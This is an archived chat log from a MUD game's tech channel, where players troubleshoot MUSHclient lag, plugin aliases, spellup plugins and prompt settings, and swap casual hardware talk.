T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: How do I fix the lag with the mushclient thing, it like the client is spewing block of text in a very sluggish, agonizing way..Are there any temporary folder in mush that I should empty or any unnecessary stuff in the folder that is slowing down or lagging the mud? I have never experience this kind of lag before, its been going on for 2 days
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ixle Tech: How do you know it's mushclient?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: i only had lag in mush when i used a soundfile outside of the mush directory
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: Is it? I am not sure
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: I had a bit of trouble when I was running mush directly rom an external drive, although inmy case it was more occasional freeze ups. Not sure if that's part of the equastion
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ixle Tech: You're asking "how to fix the lag with the mushclient thing" and I'm asking how do you know it's "the mushclient thing"
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: Wow, typoes. sorry, gees
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: if it is from mushclient it would be from using overly large soundfiles or entirely too many alias/trigger/plugins
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: well he's saying his mushclient is having lag spewing text.. even if it's an outside cause.. its his mushclient lagging
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: I make a trigger that cause some sound effect when certain skill cooling period has pass so I can use the skill again, is that the cause of slowdown?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: if the sound is not directly in the mush folder.. it caused lagged for me
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: and if it only happens then.. id say that's the issue
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: nah, a single sound trigger should definitely not do it, considering I have about 30 of them
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Kagaho Tech: refer to the part where if the sound file is not in the mush directory
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: it could be but more likely somewhere between your dns and aardwolf is heavily trafficed or having issues
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vonliege Tech: mapper, and S&D can cause a butt-ton of lag if you lean on em too much.  Lag isn't the right term... 'preformance issues'
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: I have also been mapping a lot portals, currently have 28 of the..does that cause performance issue?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: Vesuviou, is your sound file in the mush directory? 28 portals shouldn't cause that much lag, no
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: will remove the sound trigger and see how
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: I think the sound trigger is the culprit...I am using Pentium 3 550 Mhz
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: Can see some lag gone
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: oh, in that case, yeah. Things could lag for you that wouldn't for people on a faster machine
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks a lot Faylen
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i use 20-25 sound triggers and have no lag issues they don't use much resources as long as they are formatted correctly
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: yeah, I am ashame to still be using that processor, but I never play heavy games that need lots of graphic or cpu power
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: You could try finding a different sound file perhaps, something very small and as was said, formatted correctly although I don't recall the exact recommendations off the top of my head
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: give me a sec will go check what mine are formatted to
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vesuviou Tech: Its okay, I am happy it works like normal again after I disable the sound trigger...Thanks:)  
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: apparently all my files are .wav at 22050Hz
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 128gb microsd cards blow my freaking mind...
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are drunk silly little card, you can't possibly hold all that space!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: wow the most I've seen is 32
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: 120k floppies used to be a lot of storage too, once :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: floppy is still plenty of storage when your work insists on using 20 yr old software
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: You mean windows XP?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: no.. xp is still pretty common, i mean 95 :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Ok, XP is "only" 15 years old, I guess.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wow... I remember 3.1 and now I feel old :-(
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: inb4 Ranrr worked on the abacus
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Hehe 
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: The first computer I worked on was the original macintosh... it had 120k floppies iirc (mid 80s)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i remember 3.1 too, and i love when it stays just a memory
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: XP is not 15 years old
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: it's about 12 years old
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Did XP come in the late 90s?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Didn't*
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: no
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: Windows 98 came out in... 1998
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: though xp was like only 10 years old
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Leinei Tech: XP was after Windows 2000 windows ME
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: lol.. i thought when someone said 120k floppies they were comparing 120,000 1.44MB floppies to a 120 GB sd card.. :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: thought*
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: 2001 it seems it was released
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: Windows XP was released in 2001
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Ok, but it's still 90s technology.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: I upgraded to XP about 6 months ago
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: my PC was running Windows 98
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: but Win 98 can't handle MUSHclient with mini-windows
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Not that I see any major difference with windows 7 and 8 compared to XP.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seniseis Tech: serious ?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: But hopefully they have repaired some security issues at least.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I'm not a windows guy.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Vost Tech: only significant if you have a touch screen
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: From a non-UI perspective, separating root from the user was perhaps the biggest change.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But they both use the NT core
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Shimafuguro Tech: anyone from linux?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Yay, they upgraded their security to 60s technology :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Yes, I am from linux. Whatever that means.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: M$ don't use security on a design basis, because design in Windows is more or less stagnated (as stated by one of their kernel leads). What they do is see a flaw, and put in specific blocks against that flaw.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: I am not from linux, I live there now :)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which is why Windows ends up bloated, but with relatively low security fail rates when stupid users aren't the cause.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I speak the same language as linus torvalds
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Binary?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: Ranrr rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Although, I am a networking guy so I speak in ternary too
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Go back to sleep everyone... there's no such thing as 2.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: If anyone got that joke, you gain a geek level
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: I have noexp set on geek
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: huh i had to go look it up but i have been miss-pronouncing/spelling that for a couple years
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: what, geek?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: ternary
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: be aware tertiary is also a word
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i added a sha in the middle
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: thus saying tertiary?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: or tertianary?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Arnica Tech: kinky
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: BTW, I referred to TCAM memory in networking equipment, in case anyone cares
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: where do i get the spellup script from?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: bast has one i think, finger bast
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: If I have one plugin that has an alias designed to be called from another, do I need to do anything special in the calling plugin to make it work? The alias works fine from the command line, but when I add it into my calling plugin I get compile errors
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: I'm adding the alias into an existing script which is working, and the errors I get refer to the new line I'm putting in, if that helps. Just wondering if I need to do something special to tell it that I'm running an alias from elsewhere
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: faylen yeah its a pain you have make sure the plugin calling the alias can access the other script by using there unigue ID's
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: get ready for a major headache tring to get it working
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: Oh fun
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Daesilme Tech: If you need to invoke an alias via a plugin, if the alias is using send to script, do:  Execute("alias")
T3/r7/2013-06-01.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah id just use execute, thats just like typing the command normally
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: if I use execute, will I still be able to access things that gmcp is passing through and all that? The calling plugin is pulling things from gmcp already, which is why I'm using that one to add this additional functionality
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: iirc its not that easy since the plugins are proccessed at a deeper level than client inputed commands
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Daesilme Tech: If you need to pass values from plugin 1 to plugin 2, you could either pass them via the alias, or yes, it's going to get complicated.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: ok, installed bast spellup, anybody knows what i do wrong, it is not autocasting the spells?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: distantly remember smashing a few keyboards trying something similar
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: hmm. Ok, I'll try it and see what happens. Love how this plugin is like, this alias is all you need! But no hints on how to use it. lol
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Narhtan Tech: is there a way to reset your window positions?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you either need movewindows module or write one yourself iirc
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: unless ppl have started to include it in their plugins
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Narhtan Tech: alright thanks
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: So, I'm buying a new computer (an intel nuc) and it only has hdmi and usb. What would be my best option for sound, should I get a dongle for the hdmi, or a USB sound card, or something else I can't think of?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: there are better stuff.. lemme see
T3/r7/2013-06-01.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: avoid maniacs: http://www.head-fi.org/
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When you say only has hdmi and usb, does that exclude your usual 3.5mm jacks, or were you just talking about video outputs?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: tbh, I don't care too much about quality, I won't use it for anything more fancy than skype et al.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: as far as usb sound cards go i like native instruments DJ line
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: It only has those options for periphials, no 3.5 mm plug.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: At least it seems so from the pictures and specs...
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hdmi has sound
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I guess I need a USB sound card to get a microphone though....
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: HDMI is only sound out, right?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe you should build a mITX computer instead?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why get nuc if it doesn't have what you need and you're planning to buy external gear for it?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: because it's small and pretty :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can go right through the USB if you want - can get usb-3.5mm adaptors which apparently work
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it won't be small and pretty if you have to plug all sorts of external devices to it :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I don't have a problem with adding external devices, I already to that for e.g. keyboard, mouse and screen.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Though intel is getting asked on the boards to make one with 3.5 inbuilt :-P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: - 20
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What about a usb-bluetooth dongle and a bluetooth headset?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I have enough stuff to charge already, thank you. :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So get one with a power cable-style charger, leave it plugged in all the time and make believe it is not wireless? :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: Ranrr laughs out loud.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, or just get a wired one that just works....
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In all seriousness though I have become so used to wireless headphones when I have to use wired ones the cable FREAKS me out when it brushes my neck...
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I think I will get a basic usb sound card, that should do the trick.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: BTW, I looked into building a ITX box, but I just can't be bothered doing the research. I just want a small, silent, low power box, and the NUC fits that perfectly.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: Woo! Daesilme's solution worked, after a bit of correcting my newbie mistakes :P
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: grats! seems they weren't using to much data from each other
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: nah, it's literally just an alias call
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: I just didn't know about execute, and then, didn't know you had to capitalize it. heh
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: bleh hate that about lua
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: What's worse is the error is not helpful. Null value, wtf? But now I know if I see that, check caps
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't like headphones. also, with headphones my neighbors won't be able to enjoy the music
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: its cause in lua execute and Execute are completely diffrent and it was trying to call the execute proc
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: Oh, no wonder. And how confusing.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: which wouldn't exist unless you created it yourself and why would you
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Faylen Tech: oh, I get it. Still wasn't very helpful, but I guess over time you get used to interpretting the errors
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ranrr Tech: I prefer headphones for audio books, but speakers for music. Not sure why that is....
T3/r7/2013-06-01.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: emmerson
T3/r7/2013-06-01.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: maybe immersion.. spelling is hard
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor nods at Ranrr.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: anyone know if its possible with mushclient 4.71 to input a group option with AddTriggerEx or do you still have to use SetTriggerOption after you create it?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: hey is there a way you can make a window using the aardwolf mushclinet to say constantly display your skills/spells?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: sure, spellup plugins do just that
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: finger Bast and go to his website for tons of useful plugins
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: cool but i would have to download that, doesn't come preloaded with mushclient?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: thanks abelinc appreciate it
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: cool i copied bash's plug ins, now i gotta try and activate them in the mushclient... lol hmmm
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: Beauze sits down and thinks deeply. 
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: file -> plugins, click add (make sure his ENTIRE Bast folder is inside your Plugins folder, don't move things around)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: gah under file of course! I was looking under window and view
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: i am sure i can take it from here, thankya kindly
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: no prob :-0
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: err :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: You fail to hit the shift key properly and 8giggle at everyone.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: hey sorry abelinc you have been very helpful and i hate to keep buggin ya
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: but i added the plug ins using file- plugin, and now i don't see them in my window....?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: which plugin did you add?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: the spell one
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Bast Tech: which spell one? if you want a window, load miniwin_spellup also, not just bast_spellup
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: there's the man :-)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Bast Tech: after they are loaded type "bsp sadd all"
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: hmm ok i will keep on tryin ia m tryin to read your site
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: hizarr! i added the mini window
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: so basically mini window is the way to view the plug ins you install?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Bast Tech: yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: miniwindows are the graphical front ends, the "window regions"...some plugins don't have any window parts
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: ah i see i see
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: these seem like they have a lot of functioality! I am a total noob i just wanted to see my list and skills at all times lol
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: Beauze thinks he jumped into the deep end
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: so after messing around with the spell up plugin i found it's a bit... much... anyone know of a plug in that shows spells? this way it's easier for me to remember their spell number lol
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: the plugin has different view modes, you can shorten the view if you want
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: you really shouldn't need to learn spell numbers...they're there for scripts to remember mostly
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: but i am just lazy don't want to type the name of a spell to cast it lol
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ayasinda Tech: make aliasses
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: the script does all this for you and you have nothing to do but start it^^
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: the script?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ontuct Tech: some like animate obj is easier to cast via number
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yeah, the point of the spellup script is to NOT cast it
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: the script will be casting your spellups as you're able to cast them, you don't have to
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ayasinda Tech: I don't think he wants a spellup script. He want a script that shows all spells and their spellnumbers in a miniwin, right?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: for offensive stuff, I use in-aard aliases rather than client-side ones...and I do them on a per-damtype basis
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: help aliases
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: right?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: so li is always my electricity, im is always my fire (immolate), etc
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: help alias but yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: that way, as I get a newer/stronger spell for that damtype, I change my alias and it's always the "best" one
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: i'm learning!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: then my fingers can rotate through a few damtypes to test out MOBs without remembering which is the current best
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: i just use one alias and take my strongest spelkl into it and only when this does not work i search for different spells :)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: ahh so aliases are like shortcuts for commands
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: like i could set rain for cast holy rain
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: awesome!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: alias rain c 'holy rain'
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: alias rain c 364
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i personally the numpad feature for my offensive spells 1 fire Ctrl+1 pierce etc
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: both would work...I actually do it frolo's way simply because then when I type "alias" to get the list, it's easier to read
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: with the quotes frolo?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Book of Etzli Tech: RandAlthor: But that's clientside, not MUDside.
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yes,you need the single-quotes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: so i can be doing other stuff besides cast spells in my command line
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: the quotes are there for multi words, yes
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: cool thanks guys really appreciate the help!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: thanks for holdin my hand i am kinda new to this stuff :(
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: yeah, the quotes are part of just casting a 2-word spell, they're not part of an alias normally
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: wwe all were at one time
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i understand that i was giving a counterview point
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Soft and Silke Tech: I always used the numpad a lot... until getting my new laptop, which doesn't have one :(
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: a nice thing about the in-aard aliases is that, for example, that rain one would work by typing "rain guard" to start combat (or hit a different target than aimed), or by just typing "rain" to hit whatever you're currently aimed at
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: it takes slightly more work to do the same thing with client-side aliases (although they can do more-complex things)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: cool
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Frolo Tech: so make yourself an alias named heal and change it to your best heal type spell and you never have to remember if you can cast heal or cure light or cure serious, just don'*t forget to switch it once you get a better one :)
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: doin that right now
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: so noticed something is happening in my client
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: 2 things, 1 now certain channels show {chan ch=tech} as an echo
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: and now i notice that text begins to start at the end of my prompt, not on a new line
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: thoughts?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: did you switch back to a different client after aardMUSH?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: no been i here the entire time playing with the plug ins
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: did you disable the channel capture plugin?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: that plugin uses (and hides) the "{chan ch=foo}" stuff
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: everything is enabled under the plug ins
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: wtf now it stopped
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: no now it's back
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: i wonder if it's my prompt
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: test
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: interesting i turn my prompt off
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: and i don't see it
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: test
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: your prompt should end in %c...type "prompt data" to see
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: yah it's my prompt how strange!
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: ends with 
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: err ends with %c
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: both regular and battleprompt?
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: oh no never mind
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: lets see
T3/r7/2013-06-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you prompt isn't ending in a newline so the capture trigger fails sometimes when there isn't much of a delay would be my guess
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: ahh that may have done it
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: the client tries to fix both of those by adding them if they're missing, but it only does it once, so you changing prompt later would override it
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Beauze Tech: thank you! :D
T3/r7/2013-06-01.txt.gz:{chan ch=tech}Tech: the %c is a carriage return in prompt
